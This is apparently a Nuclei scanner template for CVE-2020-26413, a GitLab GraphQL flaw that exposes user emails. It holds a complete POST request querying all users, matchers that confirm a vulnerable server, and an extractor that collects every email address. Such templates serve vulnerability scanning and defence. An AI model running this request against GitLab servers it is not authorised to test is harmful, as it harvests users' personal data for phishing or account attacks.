id: CVE-2020-26413

info:
  name: Gitlab User enumeration via Graphql API
  author: _0xf4n9x_,pikpikcu
  severity: medium
  description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
  reference:
    - https://gitlab.com/gitlab-org/gitlab/-/issues/244275
    - https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26413
  tags: cve,cve2020,gitlab,exposure,enum
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.30
    cve-id: CVE-2020-26413
    cwe-id: CWE-200

requests:
  - raw:
      - |
        POST /api/graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "query": "{\nusers {\nedges {\n  node {\n    username\n    email\n    avatarUrl\n    status {\n      emoji\n      message\n      messageHtml\n     }\n    }\n   }\n  }\n }",
          "variables": null,
          "operationName": null
        }

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"avatarUrl":'
          - '"node":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body
        json:
          - '.data.users.edges[].node.email'